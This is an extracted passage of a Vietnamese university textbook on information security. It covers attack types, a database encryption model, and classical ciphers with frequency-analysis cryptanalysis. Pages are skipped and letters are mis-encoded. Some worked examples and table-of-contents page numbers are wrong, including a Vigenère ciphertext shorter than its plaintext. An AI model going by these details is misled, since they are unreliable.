Professional Documents
Culture Documents
GIÁO TRÌNH
Hà nội 8-2007
-2-
Mở ñầu
Gần ñây, môn học “An toàn và bảo mật thông tin” ñã ñược ñưa vào giảng dạy tại
hầu hết các Khoa Công nghệ Thông tin của các trường ñại học và cao ñẳng. Do các ứng
dụng trên mạng Internet ngày các phát triển và mở rộng, nên an toàn thông tin trên mạng
ñã trở thành nhu cầu bắt buộc cho mọi hệ thống ứng dụng. ðể ñáp ứng yêu cầu học tập và
tự tìm hiểu của sinh viên các chuyên ngành Công nghệ Thông tin, Bộ môn Khoa học máy
tính, Khoa Công nghệ Thông tin, trường ñại học Giao thông ñã tổ chức biên soạn giáo
trình này. Nội dung của nó ñược dựa trên một số tài liệu, nhưng chủ yếu là cuốn sách của
Giáo sư William Stallings “Cryptography and Network Security: Principles and
Practice”. Cuốn sách trên ñã ñược dùng làm tài liệu giảng dạy tại nhiều trường ñại học.
ðồng thời giáo trình này cũng ñược hoàn thiện từng bước dựa trên bài giảng của tác giả
cho 4 khóa sinh viên Khoa Công nghệ Thông tin vừa qua. Với mục ñích trang bị các
kiến thức cơ sở vừa ñủ và giúp cho sinh viên hiểu ñược bản chất của các khía cạnh an
ninh trên mạng, trong giáo trình tác giả ñã cố gắng trình bày tóm tắt các phần lý thuyết cơ
bản và ñưa ra các ứng dụng thực tế.
Giáo trình gồm 8 chương. Chương ñầu nêu tổng quan về bảo mật, chương 2 tóm
tắt sơ lược về mã cổ ñiển, chương 3 trình bày những khái niệm cơ bản về trường số học,
chương 4 giới thiệu về mã khối và chuẩn mã dữ liệu, chương 5 nêu về mã công khai và
RSA, chương 6 ñưa ra khái niệm xác thực và hàm băm, chương 7 giới thiệu ứng dụng về
an toàn Web và IP và cuối cùng chương 8 tóm tắt về kẻ xâm nhập và biện pháp phòng
chống bức tường lửa.
Do lần ñầu biên soạn và chưa có nhiều kinh nghiệm thực tế, nên không tránh khỏi
những sai sót và lỗi in ấn nhất ñịnh. Tác giả xin vui lòng tiếp nhận mọi sự ñóng góp giúp
cho giáo trình “An toàn và bảo mật thông tin” ngày càng tốt hơn. Mọi ý kiến xây dựng
xin gửi về theo ñịa chỉ sau: Trần Văn Dũng, Khoa Công nghệ Thông tin, ðại học Giao
thông Vận tải, Láng Thượng, ðống ña, Hà nội.
-3-
MỤC LỤC
MỞ ðẦU .............................................................................................................................2
CHƯƠNG I TỔNG QUAN VỀ BẢO MẬT..........................................................................5
I.1. Giới thiệu chung về bảo mật thông tin ................................................................5
I.2. Dịch vụ, cơ chế, tấn công ....................................................................................7
I.3. Mô hình an toàn mạng.........................................................................................8
I.4. Bảo mật thông tin trong hệ cơ sở dữ liệu ..........................................................10
CHƯƠNG II MÃ CỔ ðIỂN .............................................................................................14
II.1. Mã ñối xứng ......................................................................................................14
II.2. Các mã cổ ñiển thay thế ....................................................................................17
II.3. Các mã cổ ñiển hoán vị ...................................................................................124
II.4. Các vấn ñề khác...............................................................................................124
CHƯƠNG III TRƯỜNG SỐ HỌC .....................................................................................27
III.1. Các cấu trúc ñại số ...........................................................................................27
III.2. Các phép toán trên Modulo ...............................................................................28
III.3. Trường Galoa ....................................................................................................31
III.4. Giới thiệu lý thuyết số ......................................................................................36
CHƯƠNG IV MÃ KHỐI VÀ CHUÂN MÃ DỮ LIỆU ......................................................43
IV.1. Mã khối hiện ñại................................................................................................43
IV.2. Chuẩn mã dữ liệu DES .....................................................................................45
IV.3. Chuẩn mã nâng cao AES...................................................................................55
IV.4. Các mã ñối xứng ñương thời ............................................................................62
IV.5. Bảo mật dùng mã ñối xứng ...............................................................................67
CHƯƠNG V KHOÁ CÔNG KHAI VÀ RSA ....................................................................71
V.1 Mã công khai ....................................................................................................71
V.2 RSA ..................................................................................................................73
V.3 Quản lý khoá ....................................................................................................77
V.4 Phân phối khoá Diffie-Helman .........................................................................80
V.5 Mã ñường cong Elip..........................................................................................81
CHƯƠNG VI XÁC THỰC MẨU TIN VÀ CÁC HÀM HASH ........................................86
VI.1 Xác thực mẩu tin .............................................................................................86
VI.2 Các hàm HASH.................................................................................................88
VI.3 Các thuật toán HASH và MAC .........................................................................90
VI.4 Các ứng dụng xác thực ...................................................................................100
CHƯƠNG VII AN TOÀN IP VÀ WEB............................................................................106
-4-
VII.1 An toàn IP ......................................................................................................106
VII.2 An toàn Web....................................................................................................108
VII.3 Thanh toán ñiện tử an toàn ..............................................................................112
VII.4 An toàn thư ñiện tử.........................................................................................115
CHƯƠNG VIII KẺ XÂM NHẬP VÀ BỨC TƯỜNG LỬA ............................................120
VIII.1 Kẻ xâm nhập .................................................................................................120
VIII.2 Phần mềm có hại .............................................................................................123
VIII.3 Tràn bộ ñệm ...................................................................................................128
VIII.4 Bức tường lửa..................................................................................................134
CHƯƠNG I
TỔNG QUAN VỀ BẢO MẬT
Mục ñích của môn học là tập trung vào an toàn Internet gồm các phương tiện ñể bảo vệ,
chống, phát hiện, và hiệu chỉnh các phá hoại an toàn khi truyền và lưu trữ thông tin.
Các hệ thống trên mạng có thể là ñối tượng của nhiều kiểu tấn công:
- Tấn công giả mạo là một thực thể tấn công giả danh một thực thể khác. Tấn công
giả mạo thường ñược kết hợp với các dạng tấn công khác như tấn công chuyển
tiếp và tấn công sửa ñổi thông báo.
- Tấn công chuyển tiếp xảy ra khi một thông báo, hoặc một phần thông báo ñược
gửi nhiều lần, gây ra các tác ñộng tiêu cực.
- Tấn công sửa ñổi thông báo xảy ra khi nội dung của một thông báo bị sửa ñổi
nhưng không bị phát hiện.
- Tấn công từ chối dịch vụ xảy ra khi một thực thể không thực hiện chức năng của
mình, gây cản trở cho các thực thể khác thực hiện chức năng của chúng.
- Tấn công từ bên trong hệ thống xảy ra khi người dùng hợp pháp cố tình hoặc vô ý
can thiệp hệ thống trái phép. Còn tấn công từ bên ngoài là nghe trộm, thu chặn,
-8-
giả mạo người dùng hợp pháp và vượt quyền hoặc lách qua các cơ chế kiểm soát
truy nhập.
• Tấn công bị ñộng. Do thám, theo dõi ñường truyền ñể:
o nhận ñược nội dung bản tin hoặc
o theo dõi luồng truyền tin
• Tấn công chủ ñộng. Thay ñổi luồng dữ liệu ñể:
o giả mạo một người nào ñó.
o lặp lại bản tin trước
o thay ñổi ban tin khi truyền
o từ chối dịch vụ.
Mô hình này giải quyết các vấn ñề mã hóa cột dựa trên các cơ chế sau:
a. Các hàm Stored Procedure trong CSDL cho chức năng mã hóa và giải mã
b. Sử dụng cơ chế View trong CSDL tạo các bảng ảo, thay thế các bảng thật ñã ñược mã
hóa.
c. Cơ chế “instead of” trigger ñược sử dụng nhằm tự ñộng hóa quá trình mã hóa từ View
ñến bảng gốc.
Trong mô hình này, dữ liệu trong các bảng gốc sẽ ñược mã hóa, tên của bảng gốc ñược
thay ñổi. Một bảng ảo ñược tạo ra mang tên của bảng gốc, ứng dụng sẽ truy cập ñến bảng
ảo này.
Truy xuất dữ liệu trong mô hình này có thể ñược tóm tắt như sau:
Mô hình bảng ảo
Các truy xuất dữ liệu ñến bảng gốc sẽ ñược thay thế bằng truy xuất ñến bảng ảo.
Bảng ảo ñược tạo ra ñể mô phỏng dữ liệu trong bảng gốc. Khi thực thi lệnh “select”, dữ
liệu sẽ ñược giải mã cho bảng ảo từ bảng gốc (ñã ñược mã hóa). Khi thực thi lệnh “Insert,
Update”, “instead of” trigger sẽ ñược thi hành và mã hóa dữ liệu xuống bảng gốc.
Quản lý phân quyền truy cập ñến các cột sẽ ñược quản lý ở các bảng ảo. Ngoài các quyền
cơ bản do CSDL cung cấp, hai quyền truy cập mới ñược ñịnh nghĩa:
1. Người sử dụng chỉ ñược quyền ñọc dữ liệu ở dạng mã hóa. Quyền này phù hợp với
những ñối tượng cần quản lý CSDL mà không cần ñọc nội dung dữ liệu.
2. Người sử dụng ñược quyền ñọc dữ liệu ở dạng giải mã.
- 14 -
Triggers: các trigger ñược sử dụng ñể lấy dữ liệu ñến từ các câu lệnh INSERT, UPDATE
(ñể mã hóa).
Views: các view ñược sử dụng ñể lấy dữ liệu ñến từ các câu lệnh SELECT (ñể giải mã).
Extended Stored Procedures: ñược gọi từ các Trigger hoặc View dùng ñể kích hoạt các
dịch vụ ñược cung cấp bởi Modulo DBPEM từ trong môi trường của hệ quản tri CSDL.
DBPEM (Database Policy Enforcing Modulo): cung cấp các dịch vụ mã hóa/giải mã dữ
liệu gửi ñến từ các Extended Stored Procedures và thực hiện việc kiểm tra quyền truy
xuất của người dùng (dựa trên các chính sách bảo mật ñược lưu trữ trong CSDL về quyền
bảo mật).
Security Database: lưu trữ các chính sách bảo mật và các khóa giải mã. Xu hướng ngày
nay thường là lưu trữ CSDL về bảo mật này trong Active Directory (một CSDL dạng thư
mục ñể lưu trữ tất cả thông tin về hệ thống mạng).
Security Services: chủ yếu thực hiện việc bảo vệ các khóa giải mã ñược lưu trong CSDL
bảo mật.
Management Console: dùng ñể cập nhật thông tin lưu trong CSDL bảo mật (chủ yếu là
soạn thảo các chính sách bảo mật) và thực hiện thao tác bảo vệ một trường nào ñó trong
CSDL ñể ñảm bảo tối ña tính bảo mật, thông tin ñược trao ñổi.
- 15 -
CHƯƠNG II
MÃ CỔ ðIỂN
Mã hoá cổ ñiển là phương pháp mã hoá ñơn giản nhất xuất hiện ñầu tiên trong lịch sử
ngành mã hoá. Thuật toán ñơn giản và dễ hiểu. Những phương pháp mã hoá này là cở sở
cho việc nghiên cứu và phát triển thuật toán mã hoá ñối xứng ñược sử dụng ngày nay.
Trong mã hoá cổ ñiển có hai phương pháp nổi bật ñó là:
- Mã hoá thay thế
- Mã hoá hoán vị
Mọi mã cổ ñiển ñều là mã ñối xứng mà chúng ta sẽ xét trong phần sau.
Sau ñây ta ñưa ra ñịnh nghĩa một số khái niệm cơ bản về mã hóa.
1. Bản rõ X ñược gọi là là bản tin gốc. Bản rõ có thể ñược chia nhỏ có kích thước
phù hợp.
2. Bản mã Y là bản tin gốc ñã ñược mã hoá. Ở ñây ta thường xét phương pháp mã
hóa mà không làm thay ñổi kích thước của bản rõ, tức là chúng có cùng ñộ dài.
3. Mã là thuật toán E chuyển bản rõ thành bản mã. Thông thường chúng ta cần thuật
toán mã hóa mạnh, cho dù kẻ thù biết ñược thuật toán, nhưng không biết thông tin
về khóa cũng không tìm ñược bản rõ.
- 16 -
4. Khoá K là thông tin tham số dùng ñể mã hoá, chỉ có người gửi và nguời nhận
biết. Khóa là ñộc lập với bản rõ và có ñộ dài phù hợp với yêu cầu bảo mật.
5. Mã hoá là quá trình chuyển bản rõ thành bản mã, thông thường bao gồm việc áp
dụng thuật toán mã hóa và một số quá trình xử lý thông tin kèm theo.
6. Giải mã chuyển bản mã thành bản rõ, ñây là quá trình ngược lại của mã hóa.
7. Mật mã là chuyên ngành khoa học của Khoa học máy tính nghiên cứu về các
nguyên lý và phương pháp mã hoá. Hiện nay người ta ñưa ra nhiều chuẩn an toàn
cho các lĩnh vực khác nhau của công nghệ thông tin.
8. Thám mã nghiên cứu các nguyên lý và phương pháp giải mã mà không biết khoá.
Thông thường khi ñưa các mã mạnh ra làm chuẩn dùng chung giữa các người sử
dụng, các mã ñó ñược các kẻ thám mã cũng như những người phát triển mã tìm
hiểu nghiên cứu các phương pháp giải một phần bản mã với các thông tin không
ñầy ñủ.
9. Lý thuyết mã bao gồm cả mật mã và thám mã. Nó là một thể thống nhất, ñể ñánh
giá một mã mạnh hay không, ñều phải xét từ cả hai khía cạnh ñó. Các nhà khoa
học mong muốn tìm ra các mô hình mã hóa khái quát cao ñáp ứng nhiều chính
sách an toàn khác nhau.
II.1.6 ðộ an toàn.
Có thể phân lọai an toàn thành hai kiểu như sau:
- An toàn không ñiều kiện: ở ñây không quan trọng máy tính mạnh như thế nào, có
thể thực hiện ñược bao nhiêu phép toán trong một giây, mã hoá không thể bị bẻ, vì
bản mã không cung cấp ñủ thông tin ñể xác ñịnh duy nhất bản rõ. Việc dùng bộ ñệm
ngẫu nhiên một lần ñể mã dòng cho dữ liệu mà ta sẽ xét cuối bài này ñược coi là an
toàn không ñiều kiện. Ngoài ra chưa có thuật toán mã hóa nào ñược coi là an toàn
không ñiều kiện.
- 19 -
- An toàn tính toán: với nguồn lực máy tính giới hạn và thời gian có hạn (chẳng hạn
thời gian tính toán không quá tuổi của vũ trụ) mã hoá coi như không thể bị bẻ. Trong
trường hợp này coi như mã hóa an toàn về mặt tính toán. Nói chung từ nay về sau,
một thuật toán mã hóa an toàn tính toán ñược coi là an toàn.
Có hai loại mã cổ ñiển là mã thay thế và mã hoán vị (hay còn gọi là dịch chuyển).
Mã thay thế là phương pháp mà từng kí tự (nhóm kí tự) trong bản rõ ñược thay thế bằng
một kí tự (một nhóm kí tự) khác ñể tạo ra bản mã. Bên nhận chỉ cần thay thế ngược lại
trên bản mã ñể có ñược bản rõ ban ñầu.
Trong phương pháp mã hoán vị, các kí tự trong bản rõ vẫn ñược giữ nguyên, chúng chỉ
ñược sắp xếp lại vị trí ñể tạo ra bản mã. Tức là các kí tự trong bản rõ hoàn toàn không bị
thay ñổi bằng kí tự khác mà chỉ ñảo chỗ của chúng ñể tạo thành bản mã.
Trước hết ta xét các mã cổ ñiển sử dụng phép thay thế các chữ của bản rõ bằng các chữ
khác của bảng chữ ñể tạo thành bản mã.
- Ở ñây các chữ của bản rõ ñược thay bằng các chữ hoặc các số hoặc các ký tự khác.
- Hoặc nếu xem bản rõ như môt dãy bít, thì phép thế thay các mẫu bít bản rõ bằng các
mẫu bít bản mã.
II.2.1 Mã Ceasar
ðây là mã thế ñược biết sớm nhất, ñược sáng tạo bởi Julius Ceasar. Lần ñầu tiên ñược sử
dụng trong quân sự. Việc mã hoá ñược thực hiện ñơn giản là thay mỗi chữ trong bản rõ
bằng chữ thứ ba tiếp theo trong bảng chữ cái.
• Ví dụ:
o Meet me after the toga party
o PHHW PH DIWHU WKH WRJD SDUWB
Ở ñây thay chữ m bằng chữ ñứng thứ 3 sau m là p (m, n, o, p); thay chữ e bằng chữ ñứng
thứ 3 sau e là h (e, f, g, h).
• Có thể ñịnh nghĩa việc mã hoá trên qua ánh xạ trên bảng chữ cái sau: các chữ ở
dòng dưới là mã của các chữ tương ứng ở dòng trên:
a b c d e f g h i j k l m n o p q r s t u v w x y z
D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
• Về toán học, nếu ta gán số thứ tự cho mỗi chữ trong bảng chữ cái. Các chữ ở
dòng trên có số thứ tự tương ứng là số ở dòng dưới:
- 20 -
a b c d e f g h i j k l m
0 1 2 3 4 5 6 7 8 9 10 11 12
n o p q r s t u v w x y z
13 14 15 16 17 18 19 20 21 22 23 24 25
thì mã Ceasar ñược ñịnh nghĩa qua phép tịnh tiến các chữ như sau:
c = E(p) = (p + k) mod (26)
p = D(c) = (c – k) mod (26)
Ở ñây, p là số thứ tự của chữ trong bản rõ và c là số thứ tự của chữ tương ứng của
bản mã; k là khoá của mã Ceasar. Có 26 giá trị khác nhau của k, nên có 26 khoá
khác nhau. Thực tế ñộ dài khoá ở ñây chỉ là 1, vì mọi chữ ñều tịnh tiến ñi một
khoảng như nhau.
• Thám mã Ceasar là việc làm ñơn giản, do số khoá có thể có là rất ít.
Chỉ có 26 khoá có thể, vì A chỉ có thể ánh xạ vào một trong số 26 chữ cái của
bảng chữ cái tiếng Anh: A, B, C, …Các chữ khác sẽ ñược xác ñịnh bằng số bước
tịnh tiến tương ứng của A. Kẻ thám mã có thể thử lần lượt từng khoá một, tức là
sử dụng phương pháp tìm duyệt tổng thể. Vì số khoá ít nên việc tìm duyệt là khả
thi. Cho trước bản mã, thử 26 cách dịch chuyển khác nhau, ta sẽ ñoán nhận thông
qua nội dung các bản rõ nhận ñược.
Ví dụ. Bẻ bản mã "GCUA VQ DTGCM" bằng cách thử các phép tịnh tiến khác nhau
của bảng chữ, ta chọn ñược bước tịnh tiến thích hợp là 24 và cho bản rõ là "easy to
break".
Ví dụ. Ta có bản mã tương ứng với bản rõ trong mã bảng chữ ñơn như sau:
Plain: abcdefghijklmnopqrstuvwxyz
Cipher: DKVQFIBJWPESCXHTMYAUOLRGZN
Plaintext: ifwewishtoreplaceletters
Ciphertext: WIRFRWAJUHYFTSDVFSFUUFYA
- 21 -
- Tính an toàn của mã trên bảng chữ ñơn. Tổng cộng có 26! xấp xỉ khoảng 4 x 1026
khoá. Với khá nhiều khoá như vậy nhiều người nghĩ là mã trên bảng chữ ñơn sẽ an
toàn. Nhưng không phải như vậy. Vấn ñề ở ñây là do các ñặc trưng về ngôn ngữ. Tuy
có số lượng khoá lớn, nhưng do các ñặc trưng về tần suất xuất hiện của các chữ trong
bản rõ và các chữ tương ứng trong bản mã là như nhau, nên kẻ thám mã có thể ñoán
ñược ánh xạ của một số chữ và từ ñó mò tìm ra chữ mã cho các chữ khác. Ta sẽ xét
khía cạnh này cụ thể trong mục sau.
- Tính dư thừa của ngôn ngữ và thám mã. Ngôn ngữ của loài người là dư thừa. Có
một số chữ hoặc các cặp chữ hoặc bộ ba chữ ñược dùng thường xuyên hơn các bộ chữ
cùng ñộ dài khác. Chẳng hạn như các bộ chữ sau ñây trong tiếng Anh "th lrd s m
shphrd shll nt wnt". Tóm lại trong nhiều ngôn ngữ các chữ không ñược sử dụng
thường xuyên như nhau. Trong tiếng Anh chữ E ñược sử dụng nhiều nhất; sau ñó ñến
các chữ T, R, N, I, O, A, S. Một số chữ rất ít dùng như: Z, J, K, Q, X. Bằng phương
pháp thống kê, ta có thể xây dựng các bảng các tần suất các chữ ñơn, cặp chữ, bộ ba
chữ.
Ví dụ. Thám mã bản mã trên bảng chữ ñơn, cho bản mã:
UZQSOVUOHXMOPVGPOZPEVSGZWSZOPFPESXUDBMETSXAIZ
VUEPHZHMDZSHZOWSFPAPPDTSVPQUZWYMXUZUHSXEPYEP
OPDZSZUFPOUDTMOHMQ
- Tính tần suất các chữ
- ðoán P và Z là e và t.
- Khi ñó ZW là th và ZWP là the.
- Suy luận tiếp tục ta có bản rõ:
it was disclosed yesterday that several informal but
direct contacts have been made with political
representatives in moscow
II.2.3 Mã Playfair
Như chúng ta ñã thấy không phải số khoá lớn trong mã bảng chữ ñơn ñảm bảo an toàn
mã. Một trong các hướng khắc phục là mã bộ các chữ, tức là mỗi chữ sẽ ñược mã bằng
một số chữ khác nhau tùy thuộc vào các chữ mà nó ñứng cạnh. Playfair là một trong các
mã như vậy, ñược sáng tạo bởi Charles Wheastone vào năm 1854 và mang tên người bạn
là Baron Playfair. Ở ñây mỗi chữ có thể ñược mã bằng một trong 7 chữ khác nhau tùy
vào chữ cặp ñôi cùng nó trong bản rõ.
Ma trận khoá Playfair. Cho trước một từ làm khoá, với ñiều kiện trong từ khoá ñó không
có chữ cái nào bị lặp. Ta lập ma trận Playfair là ma trận cỡ 5 x 5 dựa trên từ khoá ñã cho
và gồm các chữ trên bảng chữ cái, ñược sắp xếp theo thứ tự như sau:
- Trước hết viết các chữ của từ khoá vào các hàng của ma trận bắt từ hàng thứ
nhất.
- Nếu ma trận còn trống, viết các chữ khác trên bảng chữ cái chưa ñược sử dụng
vào các ô còn lại. Có thể viết theo một trình tự qui ước trước, chẳng hạn từ ñầu
bảng chữ cái cho ñến cuối.
- Vì có 26 chữ cái tiếng Anh, nên thiếu một ô. Thông thuờng ta dồn hai chữ nào
ñó vào một ô chung, chẳng hạn I và J.
- 23 -
- Giả sử sử dụng từ khoá MORNACHY. Lập ma trận khoá Playfair tương ứng
như sau:
MONAR
CHYBD
EFGIK
LPQST
UVWXZ
Mã hoá và giải mã: bản rõ ñược mã hoá 2 chữ cùng một lúc theo qui tắc như sau:
- Chia bản rõ thành từng cặp chữ. Nếu một cặp nào ñó có hai chữ như nhau, thì ta
chèn thêm một chữ lọc chẳng hạn X. Ví dụ, trước khi mã “balloon” biến ñổi
thành “ba lx lo on”.
- Nếu cả hai chữ trong cặp ñều rơi vào cùng một hàng, thì mã mỗi chữ bằng chữ ở
phía bên phải nó trong cùng hàng của ma trận khóa (cuộn vòng quanh từ cuối về
ñầu), chẳng hạn “ar” biến ñổi thành “RM”
- Nếu cả hai chữ trong cặp ñều rơi vào cùng một cột, thì mã mỗi chữ bằng chữ ở
phía bên dưới nó trong cùng cột của ma trận khóa (cuộn vòng quanh từ cuối về
ñầu), chẳng hạn “mu” biến ñổi thành “CM”
- Trong các trường hợp khác, mỗi chữ trong cặp ñược mã bởi chữ cùng hàng với
nó và cùng cột với chữ cùng cặp với nó trong ma trận khóa. Chẳng hạn, “hs” mã
thành “BP”, và “ea” mã thành “IM” hoặc “JM” (tuỳ theo sở thích)
An toàn của mã Playfair:
- An toàn ñược nâng cao so hơn với bảng ñơn, vì ta có tổng cộng 26 x 26 = 676
cặp. Mỗi chữ có thể ñược mã bằng 7 chữ khác nhau, nên tần suất các chữ trên bản
mã khác tần suất của các chữ cái trên văn bản tiếng Anh nói chung.
- Muốn sử dụng thống kê tần suất, cần phải có bảng tần suất của 676 cặp ñể thám
mã (so với 26 của mã bảng ñơn). Như vậy phải xem xét nhiều trường hợp hơn và
tương ứng sẽ có thể có nhiều bản mã hơn cần lựa chọn. Do ñó khó thám mã hơn
mã trên bảng chữ ñơn.
- Mã Playfair ñược sử dụng rộng rãi nhiều năm trong giới quân sự Mỹ và Anh
trong chiến tranh thế giới thứ 1. Nó có thể bị bẻ khoá nếu cho trước vài trăm chữ,
vì bản mã vẫn còn chứa nhiều cấu trúc của bản rõ.
II.2.5 Mã Vigenere
Mã thế ña bảng ñơn giản nhất là mã Vigenere. Thực chất quá trình mã hoá Vigenere là
việc tiếh hành ñồng thời dùng nhiều mã Ceasar cùng một lúc trên bản rõ với nhiều khoá
khác nhau. Khoá cho mỗi chữ dùng ñể mã phụ thuộc vào vị trí của chữ ñó trong bản rõ và
ñược lấy trong từ khoá theo thứ tự tương ứng.
Giả sử khoá là một chữ có ñộ dài d ñược viết dạng K = K1K2…Kd, trong ñó Ki nhận giá
trị nguyên từ 0 ñến 25. Khi ñó ta chia bản rõ thành các khối gồm d chữ. Mỗi chữ thứ i
trong khối chỉ ñịnh dùng bảng chữ thứ i với tịnh tiến là Ki giống như trong mã Ceasar.
Trên thực tế khi mã ta có thể sử dụng lần lượt các bảng chữ và lặp lại từ ñầu sau d chữ
của bản rõ. Vì có nhiều bảng chữ khac nhau, nên cùng một chữ ở các vị trí khác nhau sẽ
có các bước nhảy khác nhau, làm cho tần suất các chữ trong bản mã dãn tương ñối ñều.
Giải mã ñơn giản là quá trình làm ngược lại. Nghĩa là dùng bản mã và từ khoá với các
bảng chữ tương ứng, nhưng với mỗi chữ sử dụng bước nhảy lui lại về ñầu.
Ví dụ: ðể sử dụng mã Vigenere với từ khóa và bản rõ cho trước ta có thể làm như sau:
- Viết bản rõ ra
- Viết từ khoá lặp nhiều lần phía trên tương ứng của nó
- Sử dụng mỗi chữ của từ khoá như khoá của mã Ceasar
- Mã chữ tương ứng của bản rõ với bước nhảy tương ứng.
- Chẳng hạn sử dụng từ khoá deceptive
key: deceptivedeceptivedeceptive
plaintext: wearediscoveredsaveyourself
ciphertext:ZICVTWQNGRZGVTWAVZHCQYGL
ðể mã chữ w ñầu tiên ta tìm chữ ñầu của khóa là d, như vậy w sẽ ñược mã trên bảng chữ
tịnh tiến 3 (tức là a tịnh tiến vào d). Do ñó chữ ñầu w ñược mã bởi chữ Z. Chữ thứ hai
trong từ khóa là e, có nghĩa là chữ thứ hai trong bản rõ sẽ ñược tịnh tiến 4 (từ a tịnh tiến
ñến e). Như vậy thứ hai trong bản rõ e sẽ ñược mã bởi chữ I. Tương tự như vậy cho ñến
hết bản rõ.
- 25 -
Trên thực tế ñể hỗ trợ mã Vigenere, người ta ñã tạo ra trang Saint – Cyr ñể trợ giúp cho
việc mã và giải mã thủ công. ðó là một bảng cỡ 26 x 26 có tên tương ứng là các chữ cái
trong bảng chữ tiếng Anh. Hàng thứ i là tịnh tiến i chữ của bảng chứ cái. Khi ñó chữ ở
cột ñầu tiên chính là khoá của bảng chữ ở cùng hàng. Do ñó chữ mã của một chữ trong
bản rõ nằm trên cùng cột với chữ ñó và nằm trên hàng tương ứng với chữ khoá.
ABCDEFGHIJKLMNOPQRSTUVWXYZ
A ABCDEFGHIJKLMNOPQRSTUVWXYZ
B BCDEFGHIJKLMNOPQRSTUVWXYZA
C CDEFGHIJKLMNOPQRSTUVWXYZAB
D DEFGHIJKLMNOPQRSTUVWXYZABC
E EFGHIJKLMNOPQRSTUVWXYZABCD
F FGHIJKLMNOPQRSTUVWXYZABCDE
G GHIJKLMNOPQRSTUVWXYZABCDEF
H HIJKLMNOPQRSTUVWXYZABCDEFG
I IJKLMNOPQRSTUVWXYZABCDEFGH
J JKLMNOPQRSTUVWXYZABCDEFGHI
K KLMNOPQRSTUVWXYZABCDEFGHIJ
L LMNOPQRSTUVWXYZABCDEFGHIJK
M MNOPQRSTUVWXYZABCDEFGHIJKL
N NOPQRSTUVWXYZABCDEFGHIJKLM
O OPQRSTUVWXYZABCDEFGHIJKLMN
P PQRSTUVWXYZABCDEFGHIJKLMNO
Q QRSTUVWXYZABCDEFGHIJKLMNOP
R RSTUVWXYZABCDEFGHIJKLMNOPQ
S STUVWXYZABCDEFGHIJKLMNOPQR
T TUVWXYZABCDEFGHIJKLMNOPQRS
U UVWXYZABCDEFGHIJKLMNOPQRST
V VWXYZABCDEFGHIJKLMNOPQRSTU
W WXYZABCDEFGHIJKLMNOPQRSTUV
X XYZABCDEFGHIJKLMNOPQRSTUVW
Y YZABCDEFGHIJKLMNOPQRSTUVWX
Z ZABCDEFGHIJKLMNOPQRSTUVWXY
Ví dụ. Cho từ khoá deceptive. Ta viết bản rõ nối tiếp vào từ khoá tạo thành từ khoá mới
có ñộ dài bằng ñộ dài bản rõ.
key: deceptivewearediscoveredsav
plaintext: wearediscoveredsaveyourself
ciphertext:ZICVTWQNGKZEIIGASXSTSLVVWLA
Trong các mục trước chúng ta ñã xét một số mã thay thế, ở ñó các chữ của bản rõ ñược
thay thế bằng các chữ khác của bản mã. Bây giờ chúng ta xét ñến loại mã khác, mã hoán
vị, các chữ trong bản rõ không ñược thay thế bằng các chữ khác mà chỉ thay ñổi vị trí, tức
là việc mã hoá chỉ dịch chuyển vị trí tương ñối giữa các chữ trong bản rõ. Như vậy, nó
dấu bản rõ bằng cách thay ñổi thứ tự các chữ, nó không thay ñổi các chữ thực tế ñược
dùng. Do ñó bản mã có cùng phân bố tần suất xuất hiện các chữ như bản gốc. Như vậy có
thể thám mã ñể phát hiện ñược.
Ví dụ. Viết bản tin “meet me after the toga party” lần lượt trên hai dòng như sau
m e m a t r h t g p r y
e t e f e t e o a a t
Sau ñó ghép các chữ ở dòng thứ nhất với các chữ ở dòng thứ hai cho bản mã:
MEMATRHTGPRYETEFETEOAAT
II.3.2 Mã tích
Mã dùng hoán vị hoặc dịch chuyển không an toàn vì các ñặc trưng tần xuất của ngôn ngữ
không thay ñổi. Có thể sử dụng một số mã liên tiếp nhau sẽ làm cho mã khó hơn. Mã cổ
ñiển chỉ sử dụng một trong hai phương pháp thay thế hoặc hoán vị. Người ta nghĩ ñến
việc kết hợp cả hai phương pháp này trong cùng một mã và có thể sử dụng ñan xen hoặc
lặp nhiều vòng. ðôi khi ta tưởng lặp nhiều lần cùng một loại mã sẽ tạo nên mã phức tạp
hơn, nhưng trên thực tế trong một số trường hợp về bản chất chúng cũng tương ñương
với một lần mã cùng loại nào ñó như: tích của hai phép thế sẽ là một phép thế; tích của
hai phép hoán vị sẽ là một phép hoán vị. Nhưng nếu hai loại mã ñó khác nhau thì sẽ tạo
nên mã mới phức tạp hơn, chính vì vậy phép thế ñược nối tiếp bằng phép dịch chuyển sẽ
tạo nên mã mới khó hơn rất nhiều. ðây chính là chiếc cầu nối từ mã cổ ñiển sang mã hiện
ñại.
ðiểm yếu của mã cổ ñiển:
- Phương pháp mã hoá cổ ñiển có thể dễ dàng bị giải mã bằng cách ñoán chữ dựa trên
phương pháp thống kê tần xuất xuất hiện các chữ cái trên mã và so sánh với bảng
thống kê quan sát của bản rõ.
- ðể dùng ñược mã hoá cổ ñiển thì bên mã hoá và bên giải mã phải thống nhất với
nhau về cơ chế mã hoá cũng như giải mã. Nếu không thì hai bên sẽ không thể làm
việc ñược với nhau.
Mở ñầu
Giới thiệu về cấu trúc ñại số - trường hữu hạn. ðây là mô hình toán học ñóng vai trò
quan trọng trong lý thuyết mã như ñối với chuẩn mã nâng cao AES, mã ñường cong
Elip, mã IDEA và khoá công khai. Nó liên quan ñến các phép toán trên “số”: ở ñây sẽ
xét “số” là khái niệm khái quát hơn các số nguyên, số thực, số phức thường gặp trong
số học, nói chung “số” có thể là các phần tử trong một tập hợp nào ñó. ðồng thời trên
tập hợp ñó có trang bị các phép toán tương ứng thoả mãn một số tính chất nhất ñịnh
như các số với các phép toán cộng, trừ hoặc nhân, chia. Ta bắt ñầu từ các khái niệm
về nhóm, vành, trường của ñại số trừu tượng.
III.1.1 Nhóm
Cho một tập các phần tử hoặc “số” và một phép toán hai ngôi, mà kết quả cũng là một
phần tử của tập hợp ñó. Tức là ứng với mỗi cặp phần tử trên tập ñó, kết quả của phép
toán cũng là một phần tử xác ñịnh của tập ñã cho. Tính chất này ta gọi là tính ñóng
của phép toán trên tập ñang xét.
ðịnh nghĩa nhóm. Tập hợp G ñó với phép toán . ñã cho ñược gọi là nhóm, nếu nó
thỏa mãn các tính chất sau với mọi phần tử a, b, c thuộc G:
o Tính kết hợp (a.b).c = a.(b.c)
o Có ñơn vị e: e.a = a.e = a
o Có nghịch ñảo a-1: a.a-1 = e
Nếu có thêm tính giao hoán a.b = b.a, thì gọi là nhóm Aben hay nhóm
giao hoán.
ðịnh nghĩa nhóm xiclic.
